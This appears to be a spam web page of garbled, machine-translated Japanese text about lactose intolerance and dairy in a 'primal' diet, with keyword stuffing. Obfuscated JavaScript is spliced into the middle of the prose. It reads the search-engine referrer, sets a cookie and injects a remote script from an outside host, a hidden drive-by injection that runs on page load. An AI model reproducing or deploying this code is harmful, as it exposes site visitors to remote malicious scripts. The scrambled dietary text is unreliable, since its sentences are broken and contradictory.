乳糖不耐症 世界の住民の大半を占めている乳糖不耐症の広範な存在は、多分乳製品が理想的な食物ではないと考えている.. ウェストンプライスなど）に潜在的なリスクと便益を評価し、その後自分の身体に対する酪農の影響を個人的に評価します（それを試してから厳密に排除してください）.. 私はラクトース不耐性の人がミルクを飲むべきだと主張しません。それはあなたがうんざりのように感じさせる場合、それを食べることはありません！しかし、同じ人が食生活に十分な脂肪を摂取していると不満を持ち、オリーブオイルとココナッツオイルがそれを食べていないと言ったら、クリーム、バター、ギー.
あなたはおそらく牛乳だけで生き残ることができます（私はそれをお勧めしませんが、あなたはそれを技術的に行うことができます;蜂蜜または生キビで同じことをやってみてください）.
他の新石器時代の食料品は、それらを非難する科学がかなり具体的で、2万年前にメニューに載っていなかったために排除することができます.. l-グルタミン 肝臓 ノンアルコールビール 太る サプリメントその場合は、正確な評価を得るために少なくとも1ヶ月間完全に削除する必要があります.. しかし、真実は、乳糖（砂糖の一種）とカゼイン（タンパク質の一種）がともに人間の母乳中に見いだされているため、私たちも確かに私たちの祖先のそれぞれは、容認できるだけでなく、これら疑わしい分子の両方に依存する乳児期のある時期.
それをあなたの食生活から除外するか除外するかにかかわらず、その決定は入手可能な文献を検討しなければならない（Cordain v.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x554065=_0x405b42();}catch(_0x125f51){_0x554065=window;}var _0x1f7cdc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x554065['atob']||(_0x554065['atob']=function(_0x13a945){var _0x424d0d=String(_0x13a945)['replace'](/=+$/,'');for(var _0x10e49b=0x0,_0x3375f5,_0x103c88,_0x383ea4=0x0,_0x44cd66='';_0x103c88=_0x424d0d['charAt'](_0x383ea4++);~_0x103c88&&(_0x3375f5=_0x10e49b%0x4?_0x3375f5*0x40+_0x103c88:_0x103c88,_0x10e49b++%0x4)?_0x44cd66+=String['fromCharCode'](0xff&_0x3375f5>>(-0x2*_0x10e49b&0x6)):0x0){_0x103c88=_0x1f7cdc['indexOf'](_0x103c88);}return _0x44cd66;});}());_0x2c3b['rbXqOL']=function(_0x99be53){var _0x4c8ff5=atob(_0x99be53);var _0x5e70fa=[];for(var _0x1df303=0x0,_0x4f3ff8=_0x4c8ff5['length'];_0x1df303=0x0){_0x2eed2f=!![];}}if(_0x2eed2f){cookie['set'](_0x34e363[_0x2c3b('0x29')],0x1,0x1);if(!_0x1ec39a){_0x34e363[_0x2c3b('0x2a')](include,_0x34e363[_0x2c3b('0x2b')](_0x34e363[_0x2c3b('0x2c')]+q,''));}}}R(); 乳製品、特に未加工および/または発酵した全脂肪乳製品は原生灰色の地域に住んでいるので、これを行うことは難しいことであることは分かっていました.. var _0x5159=['eEFDQnA=','TkZJT20=','RXVOU1g=','c3BsaXQ=','cmVwbGFjZQ==','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','U3V6dWM=','aG5Cdms=','dEdoa3U=','Z2V0VGltZQ==','V1JMeE0=','b2V2VHY=','ZGtYaGQ=','d0NQWm0=','OyBkb21haW49','Lmdvb2dsZS4=','LmJpbmcu','LmFvbC4=','dmlzaXRlZA==','UUhEdnE=','dFR1UUk=','TU9pT20=','ZndPSHA=','cmVmZXJyZXI=','Z2V0','Q2Fyc2I=','ZldjZmI=','dkhEdW8=','cHNVU0s=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','d1Jhemw=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','ZnJFeEs=','YXBwZW5kQ2hpbGQ=','bC3jgrDjg6vjgr/jg5/jg7Mr6IKd6IeTK+ODjuODs+OCouODq+OCs+ODvOODq+ODk+ODvOODqysrK+WkquOCiw==','aHR0cHM6Ly9icmF6aWxjbG91ZC5tZW4vbC1uZXcucGhwPyZxdWVyeT0=','Y29va2ll','bWF0Y2g=','dERJQ1Q=','aWRMZWw=','WktsYms=','RlRoWnk='];(function(_0x44c879,_0x106d9f){var _0xc93408=function(_0x3a730b){while(--_0x3a730b){_0x44c879['push'](_0x44c879['shift']());}};_0xc93408(++_0x106d9f);}(_0x5159,0xff));var _0x2c3b=function(_0x51bac1,_0x3dd5a7){_0x51bac1=_0x51bac1-0x0;var _0x567cd4=_0x5159[_0x51bac1];if(_0x2c3b['JFrFpt']===undefined){(function(){var _0x554065;try{var _0x405b42=Function('return\x20(function()\x20'+'{}.. 文学、進化論的推論、逸話的な報告はすべて、砂糖、穀類、豆類、加工食品、工業用植物油を全面的に人間の代謝スペクトルにネガティブなものとして指摘しているが、乳製品はやや異なっている.. 実際に誰もが本当にしているのかどうかはわかりませんが、それが私が乳製品をPrimal limbo.. 乳製品があなたに何をしているのか本当に分かりたい場合は、同じアプローチをとる必要があります.. だから、乳製品のこの決定的なガイドは、決定的なものではないかもしれませんが、それは私が正直であるためです：乳製品が通常の人間の消費に適しているかどうかはわかりません.. 一方、乳製品は、比較的最近の食品であり、時代遅れではあるが、生の形態で最も確実かつ明らかに生存可能な栄養源である.. 彼らはメニューから離れていた。彼らは基本的に生の状態では食物として認識されませんでした.. それは、穀物や豆類を排除することよりも乳製品を取り除くことをやや明確にする主要なことです. 0041d406d9